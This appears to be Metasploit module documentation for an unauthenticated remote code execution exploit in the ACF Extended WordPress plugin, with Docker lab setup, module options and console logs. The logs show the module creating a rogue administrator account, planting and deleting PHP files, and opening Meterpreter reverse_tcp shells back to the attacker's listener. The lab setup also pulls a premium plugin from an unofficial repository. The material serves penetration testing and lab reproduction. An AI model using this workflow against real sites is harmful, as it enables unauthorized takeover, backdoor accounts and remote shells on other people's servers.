7.0 KiB
Vulnerable Application
This module exploits an unauthenticated Remote Code Execution vulnerability in the Advanced Custom Fields: Extended (ACF Extended) WordPress plugin versions 0.9.0.5 through 0.9.1.1.
The vulnerability exists in the prepare_form() function of the acfe_module_form_front_render class,
which accepts user-controlled input via the form[render] parameter and passes it directly to
call_user_func_array() without proper sanitization.
Setup
Docker Compose Setup
- Create a
docker-compose.ymlfile:
services:
wordpress:
image: wordpress:6.3.2
container_name: wp-acf-extended-lab
restart: always
ports:
- 5557:80
environment:
WORDPRESS_DB_HOST: db
WORDPRESS_DB_USER: wordpress
WORDPRESS_DB_PASSWORD: wordpress
WORDPRESS_DB_NAME: wordpress
volumes:
- wordpress:/var/www/html
depends_on:
- db
db:
image: mysql:5.7
container_name: wp-acf-extended-db
restart: always
environment:
MYSQL_DATABASE: wordpress
MYSQL_USER: wordpress
MYSQL_PASSWORD: wordpress
MYSQL_RANDOM_ROOT_PASSWORD: '1'
volumes:
- db:/var/lib/mysql
volumes:
wordpress:
db:
- Start the containers:
docker compose up -d
sleep 10
- Install WP-CLI:
docker exec wp-acf-extended-lab curl -sO https://raw.githubusercontent.com/wp-cli/builds/gh-pages/phar/wp-cli.phar
docker exec wp-acf-extended-lab bash -c "chmod +x wp-cli.phar && mv wp-cli.phar /usr/local/bin/wp"
- Install WordPress:
docker exec wp-acf-extended-lab wp core install \
--path='/var/www/html' \
--url='http://localhost:5557' \
--title='Exploit Market' \
--admin_user='admin' \
--admin_password='admin' \
--admin_email='admin@example.com' \
--allow-root
- Configure WordPress:
docker exec wp-acf-extended-lab wp config set FS_METHOD direct --path='/var/www/html' --allow-root
docker exec wp-acf-extended-lab wp theme install twentytwentyone --activate --path='/var/www/html' --allow-root
docker exec wp-acf-extended-lab chown -R www-data:www-data /var/www/html/wp-content
- Install ACF Pro:
git clone https://github.com/wordpress-premium/advanced-custom-fields-pro.git
docker cp advanced-custom-fields-pro wp-acf-extended-lab:/var/www/html/wp-content/plugins/
docker exec wp-acf-extended-lab chown -R www-data:www-data /var/www/html/wp-content/plugins/advanced-custom-fields-pro
docker exec -u www-data wp-acf-extended-lab wp plugin activate advanced-custom-fields-pro --path='/var/www/html'
- Install vulnerable ACF Extended (version 0.9.1.1):
wget https://downloads.wordpress.org/plugin/acf-extended.0.9.1.1.zip
unzip acf-extended.0.9.1.1.zip
docker cp acf-extended wp-acf-extended-lab:/var/www/html/wp-content/plugins/
docker exec wp-acf-extended-lab chown -R www-data:www-data /var/www/html/wp-content/plugins/acf-extended
docker exec -u www-data wp-acf-extended-lab wp plugin activate acf-extended --path='/var/www/html'
- Create ACF Extended Form:
docker exec wp-acf-extended-lab wp eval '
$form_data = array(
"post_title" => "Contact Form",
"post_type" => "acfe-form",
"post_status" => "publish",
"post_content" => "",
"meta_input" => array(
"acfe_form_name" => "contact",
"acfe_form_label" => "Contact Form"
)
);
$form_id = wp_insert_post($form_data);
echo "Form created with ID: " . $form_id . "\n";
' --path='/var/www/html' --allow-root
- Create a page with the form:
docker exec wp-acf-extended-lab wp post create \
--post_type=page \
--post_title='Contact' \
--post_status=publish \
--post_content='[acfe_form name="contact"]' \
--path='/var/www/html' \
--allow-root
- Get the page ID (needed for NONCE_PAGE option):
docker exec wp-acf-extended-lab wp post list --post_type=page --title='Contact' --fields=ID,post_title --path='/var/www/html' --allow-root
The vulnerable WordPress installation will be accessible at http://localhost:5557.
Verification Steps
- Start
msfconsole use exploit/multi/http/wp_acf_extended_rceset RHOSTS <target>set NONCE_PAGE <path_to_page_with_form>(e.g.,/contactor/?page_id=5)set PAYLOAD php/meterpreter/reverse_tcp(or any compatible payload)set LHOST <your_ip>checkexploit
Options
NONCE_PAGE
Path to a WordPress page containing an ACF Extended form widget. This is required to extract the nonce token needed for exploitation.
Examples:
/contact/contact-us/?page_id=5/about-us
USERNAME
Username for the administrator account to be created. Defaults to a randomly generated username using Faker.
PASSWORD
Password for the administrator account to be created. Defaults to a randomly generated password using Faker (minimum 8 characters).
Email address for the administrator account to be created. Defaults to a randomly generated email using Faker.
Scenarios
Target 0: PHP In-Memory (php/meterpreter/reverse_tcp)
msf6 > use exploit/multi/http/wp_acf_extended_rce
[*] No payload configured, defaulting to php/meterpreter/reverse_tcp
msf6 exploit(multi/http/wp_acf_extended_rce) > set RHOSTS localhost
RHOSTS => localhost
msf6 exploit(multi/http/wp_acf_extended_rce) > set RPORT 5557
RPORT => 5557
msf6 exploit(multi/http/wp_acf_extended_rce) > set NONCE_PAGE /?page_id=5
NONCE_PAGE => /?page_id=5
msf6 exploit(multi/http/wp_acf_extended_rce) > set LHOST 192.168.48.1
LHOST => 192.168.48.1
msf6 exploit(multi/http/wp_acf_extended_rce) > set TARGET 0
TARGET => 0
msf6 exploit(multi/http/wp_acf_extended_rce) > check
[*] 127.0.0.1:5557 - The target appears to be vulnerable.
[*] ::1:5557 - The target appears to be vulnerable.
msf6 exploit(multi/http/wp_acf_extended_rce) > run
[*] Exploiting target 127.0.0.1
[*] Started reverse TCP handler on 192.168.48.1:4457
[*] Running automatic check ("set AutoCheck false" to disable)
[+] The target appears to be vulnerable.
[+] Administrator account created successfully
[*] Sending stage (41224 bytes) to 192.168.48.3
[+] Deleted ajax_pjuhk.php
[+] Deleted wp_asnp8.php
[+] Deleted ../wp_asnp8
[*] Meterpreter session 1 opened (192.168.48.1:4457 -> 192.168.48.3:42492) at 2025-12-09 21:32:56 +0100
Target 1: Unix/Linux Command Shell (cmd/linux/http/x64/meterpreter/reverse_tcp)
msf6 exploit(multi/http/wp_acf_extended_rce) > set TARGET 1
TARGET => 1
msf6 exploit(multi/http/wp_acf_extended_rce) > set PAYLOAD cmd/linux/http/x64/meterpreter/reverse_tcp
PAYLOAD => cmd/linux/http/x64/meterpreter/reverse_tcp
msf6 exploit(multi/http/wp_acf_extended_rce) > run
[*] Exploiting target 127.0.0.1
[*] Started reverse TCP handler on 192.168.48.1:4460
[*] Running automatic check ("set AutoCheck false" to disable)
[+] The target appears to be vulnerable.
[+] Administrator account created successfully
[*] Sending stage (3090404 bytes) to 192.168.48.3
[+] Deleted ajax_tg3g2.php
[+] Deleted wp_a08m2.php
[+] Deleted ../wp_a08m2
[*] Meterpreter session 2 opened (192.168.48.1:4460 -> 192.168.48.3:53984) at 2025-12-09 21:34:08 +0100